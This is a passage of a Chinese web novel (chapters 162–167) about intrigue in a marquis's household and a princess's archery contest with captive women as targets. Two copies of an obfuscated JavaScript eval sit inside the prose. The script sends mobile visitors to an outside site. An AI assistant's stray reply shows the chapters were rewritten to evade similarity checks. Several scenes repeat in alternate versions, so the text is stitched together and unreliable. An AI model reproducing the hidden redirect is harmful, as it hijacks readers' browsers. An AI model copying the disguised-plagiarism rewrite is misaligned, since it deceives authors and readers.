“老爷,你清醒一点!这种女人,不过是贪图侯府的荣华富贵,别让她忽悠你!” 茅文昭只觉得一股怒气直冲头顶。 他怒吼: “我看你是失心疯了!来人,把这个疯女人给我拖出去!” “老爷,您听我说……” 褚姨娘见势不妙,连忙跪倒在茅文昭脚边,梨花带雨地哭诉: “都是妾身的错,您别怪夫人,她只是一时糊涂……求您了……” “你……你还装什么好人?!” 骆芸气得浑身发抖,抬手又要打她, “你这个狐狸精,我今天就撕烂你的脸!” “够了!” 茅文昭彻底失去了耐心,他一把抓住骆芸的手腕,用力一甩,将她推倒在地, “你再敢胡闹,就给我滚出侯府!” 骆芸重重地摔在地上,只觉得浑身的骨头都要散架了。 她抬起头,看着眼前这个冷酷无情的男人,眼中满是难以置信和绝望。 “老爷,” 她声音嘶哑,带着哭腔, “你忘了你当初是怎么说的吗?你说过这辈子都不会负我的……” “住口!” 茅文昭气得脸色铁青,额头上的青筋暴起, “你还有脸提当初?!若不是你善妒成性,容不下婉苏,我又怎会如此?!” “我善妒?!” 骆芸只觉得一阵晕眩,她指着褚姨娘,声音尖利, “她一个来路不明的女人,你竟然为了她,要休了我?!” “来路不明又如何?” 茅文昭冷笑一声, “她比你温柔,比你体贴,更比你识大体!” 说着,他扶起褚姨娘,冷冷地对一旁的下人吩咐道: “把夫人关到后院的柴房,没我的允许,谁也不许靠近! 第一百六十二章 ” 几个婆子应了一声,上前来抓骆芸。 “我不去!我不去!” 骆芸彻底崩溃了,她尖叫着,挣扎着,像一只受伤的野兽, “茅文昭,你会后悔的!你会后悔的!” “把她给我拖走!” 茅文昭不耐烦地挥了挥手。 几个婆子一拥而上,捂住骆芸的嘴,将她拖了出去。 混乱中,褚姨娘突然“哎呦”一声,捂住了肚子。 “婉苏,你怎么了?” 茅文昭连忙扶住她,关切地问道。 “老爷,我……我肚子疼……” 褚姨娘脸色煞白,额头上渗出细密的汗珠。 茅文昭低头一看,只见褚姨娘的裙摆上,正缓缓渗出鲜红的血迹,触目惊心。 “大夫!快去请大夫!” 茅文昭的声音都变了调,他一把抱起褚姨娘,跌跌撞撞地往屋里跑。 太医署的人来得很快,一番诊治后,却沉重地摇了摇头。 “宓爷,姨娘她……小产了。” “什么?!” 茅文昭如遭雷击,身体晃了晃,险些站立不稳。 这么多年了…… 他一直盼着能再有个孩子,可始终未能如愿。 如今好不容易有了希望,却又被骆芸这个毒妇给毁了! 想到这里,茅文昭只觉得一股怒火在胸中燃烧,几乎要将他整个人吞噬。 “骆芸……” 他咬牙切齿,每一个字都像是从牙缝里挤出来的, “我饶不了你!” - 夜幕降临,喧闹了一天的安阳侯府,终于安静了下来。 褚姨娘在床上躺着。 烛光摇曳,将她的脸色映衬得忽明忽暗。 突然,窗外传来一阵轻微的响动。 她猛地睁开眼睛,眼中闪过一道精光。 起身、点灯。 然后从枕头下摸出一块绢布,展开,上面赫然是一张京城的地图。 她盯着地图上的一个标记,嘴角勾起一抹冷笑。 “等着吧,好戏才刚刚开始……” 她拿起笔,在绢布的背面写下一行小字,然后将绢布卷好,绑在一只信鸽的腿上。 打开窗户,放飞了信鸽。好的,明白。我将对您指出的高相似度片段进行更大幅度的改写,同时兼顾整体故事的流畅性。以下是再次创作优化后的完整版本: 夜色如墨,安阳侯府内宅深处,褚姨娘的屋子却透着一丝诡异的光亮,与周围的寂静格格不入。 烛火摇曳,映得她那张原本妩媚的脸庞忽明忽暗,平添了几分神秘。褚姨娘斜倚在床头,手中把玩着一方叠得整整齐齐的绢布,看不出是什么。 突然,她将绢布缓缓展开。绢布上,竟是一张详尽的京城地图,上面用朱砂笔勾勒出了几处标记。 她的指尖在地图上缓缓滑动,仿佛在寻找着什么。最终,她的手指停在一个做了特殊标记的点上,那里,似乎隐藏着一个天大的秘密。 “好戏……”她顿了顿,声音低沉沙哑,如同夜枭低鸣,“才刚刚开始。” 话音未落,一阵微风拂过,窗棂发出“吱呀”一声轻响,像极了某种暗示,又好似某种回应。 褚姨娘眼中精光一闪,如同捕猎的野猫,敏捷得不像话。她迅速起身,一个箭步窜到窗边,从枕下摸出一支狼毫,笔尖饱蘸浓墨,在那块绢布的背面,笔走龙蛇,飞快地书写着,像是在传递什么紧急军情。 写完,她小心翼翼地将绢布卷好,绑在一只羽毛油亮的信鸽腿上,动作熟练,一看就不是第一次做这种事。 打开窗户,信鸽扑棱着翅膀,转瞬间便消失在茫茫夜色中,无迹可寻,只留下褚姨娘独自站在窗前,望着夜空出神。 与此同时,茅清兮这边,也结束了一天的忙碌,正准备宽衣歇息。 洗漱完毕,她刚想上床,眼角的余光却瞥见窗边落着一只信鸽,与寻常的鸽子略有不同。 “这大晚上的,谁还用信鸽传信?莫非出了什么急事?” 她心里犯着嘀咕,缓步走过去,纤纤玉指轻轻一勾,便取下了信鸽脚上的信笺,动作轻柔,却又带着一股不容置疑的力量。 展开一看,茅清兮原本平静的脸上,渐渐浮现出一抹玩味的笑意,仿佛一切尽在掌握。 信是褚婉苏送来的。 当初,她安排褚婉苏进入陆府,不过是想给那对母女添点堵。毕竟,骆芸和 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褚婉苏的来历,茅清兮一清二楚。当年将她从碧云楼赎出来,也是看中了她骨子里的那股机灵劲儿。 那时,茅清兮正愁着如何在陆府安插人手,布下一颗暗棋。恰好褚婉苏也愿意,于是,她便顺水推舟,制造了一场“偶遇”,让她顺利进了陆府,一切都天衣无缝。 褚婉苏的身子,早在碧云楼时就坏了,根本无法生育。这是她最大的秘密,也是她手中最锋利的武器,一把**不见血的刀。 茅清兮至今都想不明白,她到底用了什么手段,竟让茅文昭和骆芸都以为她怀了身孕,甚至还闹出了小产的风波?这女人,心机之深沉,手段之高明,简直让人叹为观止。 她摇了摇头,将信笺凑到跳动的烛火上。火苗舔舐着纸张,转瞬间,信笺便化为灰烬,飘散在空气中,不留一丝痕迹。 没了茅暮暮,骆芸在她眼里,更是如蝼蚁一般,不值一提,根本不配做她的对手。 可让茅清兮没想到的是,没过多久,她就收到了茅暮暮被放出来的消息,这让她原本轻松的心情,顿时蒙上了一层阴影,仿佛晴朗的天空突然飘来一朵乌云。 第一百六十三章 “怎么回事?”茅清兮霍然起身,声音冷冽,如同一把出鞘的利剑。 锦衣卫掌握了铁证,怎么会这么轻易就放人?这背后,定有蹊跷,绝不简单。 俞霜解释道:“是茅暮暮的贴身丫鬟春秋认罪了,被指控**,与茅暮暮无关。” “这种说辞,锦衣卫会信?”茅清兮显然不相信,语气中带着一丝质疑,更多的,是疑惑。 “可是……”俞霜顿了顿,似乎有些难以启齿,又不得不说,“锦衣卫查出来的所有证据,都指向了春秋。” “所有证据?”茅清兮的眉头拧得更紧了,她敏锐地捕捉到了问题的关键。 一个丫鬟,竟然如此护主,甚至不惜牺牲自己?这大大出乎了茅清兮的意料。 但她绝不相信,以诏狱的那些手段,会查不出茅暮暮身上的破绽。屈打成招,严刑逼供,总有办法撬开她的嘴,让她说出实话。 除非……有人在暗中保她,而且,这人的势力,足以影响到锦衣卫的办案! 一股寒意从茅清兮的心底升起,她感到了一丝不安。 可会是谁呢?能在锦衣卫眼皮子底下做手脚,这人的势力,恐怕不小,甚至可能超乎她的想象。 洛州商家已经覆灭,难道,藏在茅暮暮背后的人,并非苏家,而是……西魏? 这个念头一闪而过,茅清兮的心跳都漏了半拍,她感到了一阵莫名的恐惧。 可转念一想,又觉得不对。西魏人为什么要帮茅暮暮?他们有什么理由这样做? 苏家当初想扶持茅暮暮当上太子妃,是为了家族的飞黄腾达。现在苏家已是一片白地,西魏人更没理由帮她,这不合常理。 茅清兮只觉得脑子里乱成一团麻,各种线索交织在一起,让她一时之间理不清头绪,仿佛陷入了一个巨大的迷宫。 另一边,安阳侯府内。 茅暮暮一回到自己阔别已久的院子,就听说了骆芸被禁足的消息,气得差点没背过气去。 而且,还是因为她爹新纳的妾! “我这才离开多久,府中竟闹出这等丑事?娘亲也太不中用了,竟然连一个新来的狐媚子都斗不过!” 她怒气冲冲地在房间里来回踱步,脚下的步子又重又急,显示出她内心的焦躁与愤怒。 她娘居然连个小妾都治不了,一个照面就差点被休?这种事传出去,她茅暮暮的脸面还要不要了? “夫人若是被休了,我在京城的脸面往哪儿搁?”她低声咆哮,声音中充满了不甘和愤怒,还有一丝深深的担忧。 春秋为了替她顶罪,已经进了诏狱,生死未卜,短时间内是出不来了。她身边无人可用,连安州的消息都打听不到,这让她感到一阵深深的无力,仿佛被人掐住了喉咙。 更让她恼火的是,这次被关进诏狱,差不多半月有余。春秋过了这么久才想起来救她,以前都在摸鱼? 茅暮暮越想越气,心中的怒火如同火山般喷发,几乎要将她整个人吞噬。 这半个月的牢狱生活,简直是她的噩梦。阴暗潮湿的牢房里,到处都是虫蚁老鼠,散发着令人作呕的霉味。 她每晚都提心吊胆,生怕那些恶心的东西爬到她身上。 她是安阳侯府的二小姐,金尊玉贵,何时受过这种罪? 这半个月,她一边祈祷着早日脱身,一边对茅清兮恨之入骨,恨不得将她千刀万剐。 她强压下心头的怒火,叫来平日里还算伶俐的两个丫鬟,提拔到身边伺候。眼下,她必须尽快培养自己的心腹。 茅暮暮思来想去,决定主动出击。她让其中一个丫鬟给四公主送信。四公主与她一样,对茅清兮恨之入骨,或许可以联手对付她。 她眼中闪过一丝狠厉,仿佛一条毒蛇,盯上了自己的猎物。 然而,她却完全忽略了,或者说,是故意无视了春秋在离开前,对她千叮咛万嘱咐的那句话: “小姐,先按兵不动,静观其变,等奴婢的消息。” 可此时的茅暮暮,哪里还等得及?她已经被仇恨冲昏了头脑,完全失去了理智。 “等?我一天也等不下去了!茅清兮,我要让你付出代价!”她低吼一声,眼中充满了疯狂,仿佛一只被逼到绝境的野兽。 她给四公主送信后,顾不上休息,便气势汹汹地去找茅文昭,要他立刻放了骆芸。她必须尽快稳住局面, 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茅暮暮咬了咬牙,继续劝道:“爹,您想想,若是‘宠妾灭妻’的传言传开了,您以后还怎么出门见人?那些同僚们,会在背后怎么议论您?您的脸面,还要不要了?” 茅文昭最看重的就是名声,这是他的软肋,也是他最脆弱的地方。 之前为了救茅暮暮,让锦衣卫打了脸,他就已经难以忍受,耿耿于怀。 更何况是以后出门,成了众人的笑柄?那他这张老脸,往哪儿搁? 茅文昭的内心开始动摇,他的脸色缓和了一些,不再像之前那般冷硬。 骆芸一直躲在屏风后面,偷偷观察着父女俩的对话。 当她听到茅暮暮提到“宠妾灭妻”时,心中不禁一喜,觉得自己的女儿真是聪明,一下子就抓住了茅文昭的要害。 可当她听到茅文昭的态度有所松动时,她再也忍不住了,猛地冲了出来,一把鼻涕一把泪地哭诉道: “老爷,您可不能听信谗言啊!妾身对您可是一片真心啊!您要休了妾身,妾身也不活了!” “娘!”茅暮暮被骆芸这突如其来的举动吓了一跳,她连忙上前扶住骆芸,心中又气又恼。 第一百六十四章 她真是恨铁不成钢!这个时候,她娘不应该出来添乱! 她狠狠地瞪了骆芸一眼,示意她闭嘴。 可骆芸哪里还顾得上这些?她只知道,自己不能被休,否则,她就什么都没有了。 “暮暮,你爹他……他竟然为了一个新来的狐狸精,要休了我!他……他抛弃了我们母女……”骆芸越说越激动,声音都变得尖利起来。 茅暮暮只觉得一阵头疼,她用力掐了骆芸一把,低声喝道:“娘,你冷静点!” 骆芸吃痛,这才稍微清醒了一些。她看着茅暮暮,眼中充满了恐惧和不安。 “可是……可是当年,你爹他就是这样……这样对邹童霜的啊……”骆芸的声音颤抖着,带着一丝绝望。 提到茅清兮的母亲,茅暮暮的脸色瞬间变得阴沉。 当年,若不是邹童霜和茅清兮的存在,母女俩怎会甘心蜗居偏院,过着寄人篱下的生活? 她永远也忘不了,那些年,她们母女受过的**和委屈。 “娘,您放心,我不会让任何人抢走属于我们的东西。”茅暮暮的声音冰冷,眼神中闪烁着坚定的光芒,“长平侯夫人的位置,只能是您的。” 她顿了顿,又补充道:“至于那个褚姨娘……不过是个上不得台面的玩意儿,您想怎么处置,就怎么处置。女儿会帮您的。” 她的话,像一颗定心丸,让骆芸原本慌乱的心,渐渐安定下来。 “暮暮……”骆芸感激地看着茅暮暮,眼中充满了依赖。 “把褚姨娘带上来。”茅暮暮不再理会骆芸,转头对身边的丫鬟吩咐道,声音冷漠,不带一丝感情,“既然进了宋家的门,就得守宋家的规矩。夫人还没见过她呢,让她来拜见拜见。”“婉苏!” 一声饱含心疼的呼唤,如惊雷般炸响,打破了厅内剑拔**张的氛围。 茅文昭大步流星地跨进门槛,目光如鹰隼般锐利,直直锁定了倚在丫鬟怀中、面色如纸的褚姨娘。 他一把推开挡路的丫鬟,心疼地看向褚姨娘。 “老爷……”褚姨娘眼睫轻颤,似蝶翼般脆弱,缓缓睁开的眼眸中,原本空洞的眼神在触及茅文昭的那一瞬,骤然聚焦,仿佛找到了漂泊已久的孤舟寻得了港湾。 “妾身无碍……”她柔若无骨的身子微微挣动,想要起身,声音却虚弱得像被风吹散的蒲公英,飘忽不定。 茅暮暮眼底飞快地闪过一丝冷嘲,红唇微勾。这出戏,褚姨娘演得越发炉火纯青了,以柔克刚,四两拨千斤。 “还逞什么强!”茅文昭小心翼翼地将褚姨娘打横抱起,手指轻抚过她单薄的脊背,那里似乎还残留着方才颤抖的痕迹。 怀中人儿轻若无物,仿佛一阵风就能吹散,让他的心头一阵阵抽痛,像是被细密的针尖扎过,又酸又麻。 “婉苏,你受苦了。”他垂首,在她耳边低喃,温热的气息拂过她冰凉的脸颊,如同春风拂过寒冰。 褚姨娘紧紧依偎在茅文昭宽厚的胸膛里,眼角眉梢都染上了惹人怜爱的柔弱,像一朵在风雨中飘摇的娇花。 “老爷,是妾身的不是,惊扰了夫人和二小姐,您千万别责怪她们……” 她这番话,看似通情达理,实则以退为进,巧妙地将茅文昭心头的怒火引向了高坐上首的骆芸母女,火上浇油。 茅文昭猛地抬起头,目光如利剑般射向骆芸母女,仿佛要将她们生吞活剥,那眼神,比隆冬的寒风还要凛冽。 “你们还有脸说!”他咬牙切齿,每一个字都像是从牙缝中挤出,带着压抑不住的怒火,像是随时会爆发的火山。 “婉苏她刚小产,身子骨弱得风一吹就倒,你们竟还忍心叫她过来,是嫌她命长,存心想让她去鬼门关走一遭吗?!” 骆芸脸色铁青,嘴唇哆嗦着,指着褚姨娘的手指不住颤抖,仿佛筛糠一般,半晌说不出一句完整的话: “老爷,我……我不过是想见见她,问她几句话,谁……谁让她这般不中用……” “闭嘴!”茅文昭一声怒吼,如平地惊雷,震得骆芸浑身一颤,剩下的话语尽数哽在了喉咙里,像是被一只无形的大手扼住了喉咙。 “婉苏是我的心头肉,我捧在手心里都怕化了,含在嘴里都怕融了,你们竟敢如此作践她!” “爹,您误会女儿了,我们……”茅暮暮急切地想要解释,试图挽回局面,声音中带着一丝焦灼和委屈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081086|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茅文昭却丝毫不给她辩解的机会,冷冷地打断了她,语气中带着不容置疑的威严: “还有你,暮暮!褚姨娘好歹也是你的前辈,如此疾言厉色,成何体统?平日里学的规矩都学到狗肚子里去了?” 茅暮暮眼中飞快闪过一抹不屑和鄙夷,面上却不得不装出一副委屈至极的模样,眼眶微微泛红。 她咬了咬唇,低垂着头,声音细若蚊蝇,让人听不清她在说些什么: “爹,女儿知错了……” “够了!”茅文昭抱着褚姨娘,决然转身,大步流星地朝门外走去,再也不愿多看她们一眼,仿佛她们是什么污秽之物。 “从今往后,婉苏不必再来给你们请安!府里任何人,都不必再为难她!” 砰! 厚重的雕花木门被狠狠摔上,发出震耳欲聋的声响,仿佛要将整个屋子都震塌,隔绝了茅文昭滔天的怒火,也隔绝了褚姨娘眼底那一闪而逝的得意与狡黠。 骆芸身子猛地一晃,像是被抽走了全身的力气,险些瘫软在地,仿佛被这巨响震碎了心神。 茅暮暮眼疾手快地扶住了她,眼中阴云密布,恨不得将褚姨娘千刀万剐,挫骨扬灰。 …… “褚姨娘那边,可有什么动静?”茅清兮放下了手中的账本,揉了揉有些发酸的眉心,随口问道。 “回主子,这是褚姨娘命人送来的信。”司玄苏将一封密封的信笺递到茅清兮面前,语气恭敬。 茅清兮接过信,展开,褚姨娘娟秀的字迹映入眼帘,如同她的人一般,柔中带韧。 信中事无巨细地描述了她如何在安阳侯府站稳脚跟,如何利用茅文昭的多情和骆芸母女的愚蠢,一步步将她们逼入绝境。 茅清兮唇角微微上扬,勾勒出一抹赞赏的弧度。这褚姨娘,果然有几分手段,心机和城府都不容小觑。 “褚姨娘想要什么?”茅清兮将信纸折好,随手放在桌上,开口问道。 “她说,只想过安稳日子。”司玄苏如实回答。 “安稳?”茅清兮轻嗤一声,摇了摇头,显然不相信褚姨娘的说辞, “安阳侯府那个地方,能有什么安稳日子? 第一百六十五章 不过是各凭本事,斗个你死我活罢了。” 司玄苏没有说话,只是静静地立在一旁。 “对了,四公主那边……”茅清兮突然想起一事,话未说完,便被俞霜打断。 “主子,四公主派人送来了请帖。”俞霜双手呈上一张制作精美的帖子,封面上用金线绣着一只栩栩如生的凤凰,彰显着皇家气派。 茅清兮接过请帖,并未立即打开,只是用手指轻轻摩挲着封面上精致的绣纹,若有所思。 “她倒是沉不住气。”茅清兮淡淡地说道,语气中听不出喜怒。 “主子,这怕是一场鸿门宴。”俞霜提醒道,语气中带着一丝担忧。 茅清兮笑了笑,将请帖随意地放在桌上:“是不是鸿门宴,去了便知。” “可……”俞霜还想再劝。 茅清兮抬手制止了她:“无妨。她若想做什么,尽管来便是,我接着就是。” “倒是云陲那边……”茅清兮话锋一转,眉宇间染上一层淡淡的忧虑,“可有消息传来?” 司玄苏上前一步,回答道:“主子,鹰羽卫已抵达澜州,暂时稳住了局势。只是……” “只是什么?”茅清兮追问道。 “只是敌军势大,且已占据六城,我军要收复失地,恐怕需要些时日。”司玄苏如实禀告,“而且,寒星露……” 他欲言又止,没有再说下去。 茅清兮自然明白他的意思,寒星露的解药,至今没有着落。 她沉默片刻,吩咐道:“继续派人寻找,务必找到解药。” “是。”司玄苏和俞霜齐声应道。 …… 四公主府,宾客云集。 与往日不同,今日的宴会,多了几分紧张和期待的气氛。 众人三五成群地聚在一起,低声议论着,目光时不时地瞟向门口,似乎在等待着什么人的到来。 四公主一身戎装,英姿飒爽,不同于寻常女子的娇柔,别有一番风情。 她高坐主位,目光在人群中扫视,最终落在了姗姗来迟的茅清兮身上。 “你就是茅清兮?”四公主的声音不大,却带着一种不容置疑的威严。 “臣妇茅清兮,见过四公主。”茅清兮屈膝行礼,举止优雅得体。 四公主上下打量着她,眼神锐利,似乎要将她看穿。 “抬起头来。”四公主命令道。 茅清兮依言抬头,目光坦荡,没有丝毫闪躲。 四公主盯着她看了许久,突然冷笑一声:“长得倒是不错,怪不得能迷住冀容白。” “本公主若是将你留在身边,做个端茶倒水的丫鬟,倒也不算辱没了你。” 此言一出,众人哗然。 四公主这是要给茅清兮一个下马威啊! 茅暮暮更是笑得花枝乱颤,等着看茅清兮出丑。 茅清兮却只是微微一笑,仿佛没有听出四公主话中的羞辱之意: “四公主说笑了,臣妇蒲柳之姿,怎敢劳烦四公主。” “臣妇今日前来,是为四公主贺喜的。” 她朝俞霜使了个眼色,俞霜立刻捧着一个锦盒上前。 “这是……”四公主有些疑惑。 “听闻四公主即将与萧将军喜结连理,臣妇特意备了些薄礼,祝四公主与将军百年好合,早生贵子。”茅清兮笑意盈盈地说道。 四公主的脸色顿时变得十分难看。 她没想到茅清兮竟然会如此大胆,竟敢当众提起她和冀容白的事情。 “茅清兮,你放肆!”四公主怒斥道。 “臣妇何错之有?”茅清兮一脸无辜地问道,“四公主不是一直心悦萧将军吗?臣妇这是成人之美。” “你……”四公主气得说不出话来。 “四公主若是觉得臣妇的贺礼不够,臣妇可以再添。只是,臣妇的夫君如今身在边关,一切事宜,还需等他回来再做定夺。”茅清兮不紧不慢地说道。 “你这是在威胁本公主?”四公主眯起了眼睛。 “臣妇不敢。”茅清兮微微一笑,“臣妇只是在陈述事实。” “好,很好!”四公主怒极反笑,“茅清兮,你够胆!” “来人,将茅清兮拿下!” 几名侍卫立刻上前,将茅清兮围住。 “四公主这是要做什么?”茅清兮依旧镇定自若。 “本公主要让你知道,得罪本公主的下场!”四公主冷冷地说道。 “四公主误会了。”茅清兮叹了口气,“臣妇此番前来,并非有意与四公主作对,只是想告诉四公主一个道理。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088256|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “什么道理?” “强扭的瓜不甜。”茅清兮一字一顿地说道,“四公主若真心喜欢萧将军,就应该光明正大地去争取,而不是用这些下作的手段。” “你……”四公主气得浑身发抖。 “四公主,请三思。”茅清兮最后说道,“臣妇告退。” 说完,她转身离去,没有丝毫留恋。“茅清兮,你好大的胆子!”四公主的声音,像淬了毒的冰锥,直直刺向茅清兮。 茅清兮却只是轻轻挑眉,嘴角勾起一抹若有似无的弧度:“臣妇何错之有?四公主不是心悦萧将军已久?臣妇此举,不过是成人之美。” 她一边说着,一边状似苦恼地揉了揉眉心,仿佛真的在为四公主的婚事操心。 “你……”四公主被她这幅姿态噎得胸口发闷,指着茅清兮的手指微微颤抖。 “四公主若是觉得臣妇准备的贺礼不够,”茅清兮慢悠悠地补充,眼角的余光扫过四公主铁青的脸色,“臣妇自然可以再添。” 她顿了顿,话锋一转:“只是,臣妇的夫君此刻身在边关,一切事宜,怕是都要等他回来,才能定夺。” 这句话,软中带硬,既抬出了苏将军,又暗含警告。 四公主的眼底,掠过一道阴鸷的光芒,声音也冷了下来:“茅清兮,你这是……在威胁本公主?” 茅清兮无辜地眨了眨眼,脸上的笑容却淡了几分:“臣妇不敢。只是就事论事罢了。” “好,好得很!”四公主怒极反笑,每一个字都像是从牙缝里挤出来的,“茅清兮,本公主记住你了!” 她猛地一挥手,衣袖带风,厉声喝道:“来人!给本公主拿下茅清兮!” 几名侍卫应声而动,迅速围了上来,手中长刀闪着寒光。 场面顿时剑拔**张。 “四公主这是何意?”茅清兮环视四周,眼神依旧平静,仿佛被围困的并非自己。 “本公主要让你知道,得罪本公主,是什么下场!”四公主的声音,像是从冰窖里捞出来的,寒意逼人。 “四公主怕是误会了。”茅清兮轻叹一声,眉宇间流露出一丝无奈。 她微微侧身,避开一名侍卫伸过来的手,继续说道:“臣妇此来,并无意与四公主作对,只是想劝四公主一句。 第一百六十六章 ” “哦?劝我?”四公主冷笑,显然不信她能说出什么好话。 “强扭的瓜……不甜。”茅清兮一字一顿,目光直视四公主,语气虽轻,却掷地有声,“四公主若真心悦萧将军,便该用正途争取,而非……这些见不得光的手段。” “你……”四公主只觉得一股怒火直冲头顶,脸色青一阵白一阵,嘴唇哆嗦着,却说不出话来。 茅清兮微微颔首,算是行礼,转身便走,步履从容。 “站住!”四公主气急败坏的声音从身后传来,带着一丝尖锐,“茅清兮!你给本公主把话说清楚!” 茅清兮依旧没有回头,只是在快要走出大殿时,稍微侧了侧身子,用不大不小,却足够在场所有人都听清的声音说道:“四公主金枝玉叶,何必为了一个不爱自己的男人,失了体面?” 四公主气得浑身发抖,指着茅清兮远去的背影,厉声喝道:“茅清兮!你竟敢嘲讽本公主!本公主要让你……让你……” 她“让你”了半天,也没说出个所以然。 “本公主听闻你自诩武艺高强,”四公主深吸一口气,强压下心头的怒火,换上一副挑衅的姿态,“不如,你我比试一番,如何?” 茅清兮脚步不停,背对着四公主,声音清冷:“臣妇不过是粗通拳脚,怎敢在四公主面前班门弄斧?” “怎么,你怕了?”四公主冷笑。 “怕倒不至于。”茅清兮终于停下脚步,缓缓转过身,脸上带着一丝似笑非笑的神情,“只是,若臣妇赢了,四公主又当如何?” 她这话一出,周围顿时一片哗然。 谁也没想到,茅清兮竟然敢当众向四公主叫板。 四公主显然也没料到她会这么说,愣了一下,才反应过来,怒极反笑:“你要赢了本公主?好大的口气!你若真有这个本事,本公主……本公主便答应你一个条件!” “哦?任何条件?”茅清兮挑眉。 “自然!”四公主傲然道,“只要你能赢!” “好。”茅清兮干脆利落地应下。 就在这时,太子钱云霄带着一众随从,走了进来。 原本喧闹的大殿,瞬间安静下来,众人纷纷跪地行礼:“参见太子殿下!” 茅暮暮也连忙跪下,心中一阵激动。 钱云霄抬手示意众人平身,目光在四公主和茅清兮身上来回扫视,带着几分探究:“三妹,清兮,你们这是……在做什么?” 四公主冷哼一声,没有说话。 茅清兮则是微微一笑,落落大方地回道:“回太子殿下,臣妇与四公主,正要切磋一番。” “切磋?”钱云霄来了兴致,“切磋什么?” “射箭。”四公主的声音冷冷的。 “射箭?”钱云霄的目光,在两人手中的弓箭上停留了一瞬,“这倒是有趣。只是,寻常的比试,未免太过无聊。不如,加点彩头?” 四公主闻言,眼睛一亮:“太子哥哥有何高见?” 钱云霄笑了笑,没有直接回答,而是转头看向茅清兮:“清兮,你意下如何?” 茅清兮略一沉吟,道:“臣妇但凭太子殿下做主。” “好!”钱云霄击掌一笑,“既然如此,那便由本宫来定这个彩头。” 他环视四周,目光最终落在了校场中央的箭靶上。 “这样吧,”钱云霄缓缓开口,“你们二人,便以这箭靶为准,各射十箭。谁射中的靶心多,谁便赢。不过,这箭靶……需要换一下。” 众人顺着他的目光看去,只见几个侍卫抬着两个特殊的箭靶走了过来。 箭靶上,各绑着一名女子。 女子的头颅周围,环绕着十颗鲜红的荔枝。 人群中,响起一阵低低的惊呼。 一些胆小的女眷,已经吓得脸色苍白。 “这……这万一射偏了,岂不是……” “四公主这是……要拿人命当儿戏啊……” “听说,她府上还养了猛虎,专门……” 议论声越来越低,却还是清晰地传入了茅清兮的耳中。 她的眉头,微微皱起,眼底闪过一丝寒光。 一名身穿粉色衣裙的女子,突然挣脱了侍卫的束缚,哭喊着冲向其中一个箭靶:“姐姐!姐姐!” “放开我姐姐!你们不能这样对她!”她哭得撕心裂肺,却被侍卫死死按住。 被绑在箭靶上的女子,嘴巴被堵住,只能发出呜呜的声音,眼泪不停地流淌。 “放开我姐姐!我来!我来替她!”粉衣女子拼命挣扎,声音嘶哑。 “这 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“慢着。”茅清兮突然开口。 “怎么,你怕了?”四公主冷笑。 “怕?”茅清兮的嘴角勾起一抹嘲讽的弧度,“我只是想提醒四公主,这箭靶上的,可是两条人命。” “那又如何?”四公主满不在乎地说道,“不过是两个贱婢,**便**。” “四公主此言差矣,”茅清兮的声音陡然转冷,“人命关天,岂能儿戏?今日你我比试,若有任何一方伤及无辜,便算输!” “你!”四公主没想到她会提出这样的条件,一时语塞。 “怎么,四公主不敢?”茅清兮步步紧逼。 “有何不敢!”四公主咬牙切齿地说道,“本公主答应你!” “好。”茅清兮不再多言,转身走到自己的箭靶前。 她深吸一口气,缓缓举起弓箭。 四公主也举起了弓。 她死死地盯着茅清兮,心中暗暗发誓,一定要赢过她! “嗖!” 四公主率先射出一箭。 箭矢破空,直奔靶心。 第一百六十七章 然而,就在所有人都以为这一箭会稳稳命中之时,异变突生! 原本静止不动的箭靶,突然微微晃动了一下。 箭矢,擦着荔枝,射空了! “怎么回事?!”四公主脸色大变。 她转头看向一旁,只见一名侍卫正扶着箭靶,脸色苍白。 “奴才该死!奴才该死!”侍卫跪在地上,不住地磕头。 原来,他刚才不小心碰到了箭靶,导致箭靶晃动。 “废物!”四公主怒骂一声,却也无可奈何。 她深吸一口气,再次举起弓箭。 这一次,她格外小心,瞄准了许久,才射出第二箭。 箭矢,稳稳地射中了荔枝。 然而,还没等她露出得意的笑容,茅清兮那边,已经接连射出了三箭。 三箭,全部命中! 四公主的脸色,瞬间变得铁青。 她万万没想到,茅清兮的箭术,竟然如此高超。 她咬紧牙关,再次射出三箭。 然而,这一次,她却只射中了两箭。 有一箭,偏了。 而茅清兮,却依旧稳扎稳打,又是三箭连中。 四公主的心,越来越沉。 她知道,自己不能再这样下去了。 否则,她一定会输! 她深吸一口气,将所有的注意力都集中在了弓箭上。 她缓缓拉开弓弦,瞄准,射击! 这一次,她终于找回了状态,三箭连中! 然而,还没等她松一口气,茅清兮那边,已经射出了最后一箭。 箭矢破空,正中靶心! 十箭,全部命中! 茅清兮缓缓放下弓箭,转头看向四公主。 她的眼神,平静而冷漠。 四公主的脸色,已经难看到了极点。 她手中的弓箭,微微颤抖。 她知道,自己输了。 输得……彻彻底底。 不仅仅是箭术,还有人心。“好!” 一片震耳欲聋的叫好声,几乎要掀翻四公主府的屋顶。 方才还对茅清兮指指点点的人,此刻也换上了一副惊叹的面孔。 这三箭,着实精彩绝伦! 电光火石之间,发生了什么? 四公主恼羞成怒,竟同时射出三箭,直取那三个粉衣女子的性命! 众人惊呼声未落,只见茅清兮手腕一翻,三支羽箭如离弦之箭,后发先至。 “铛铛铛!” 三声脆响,四公主的箭被尽数撞飞。 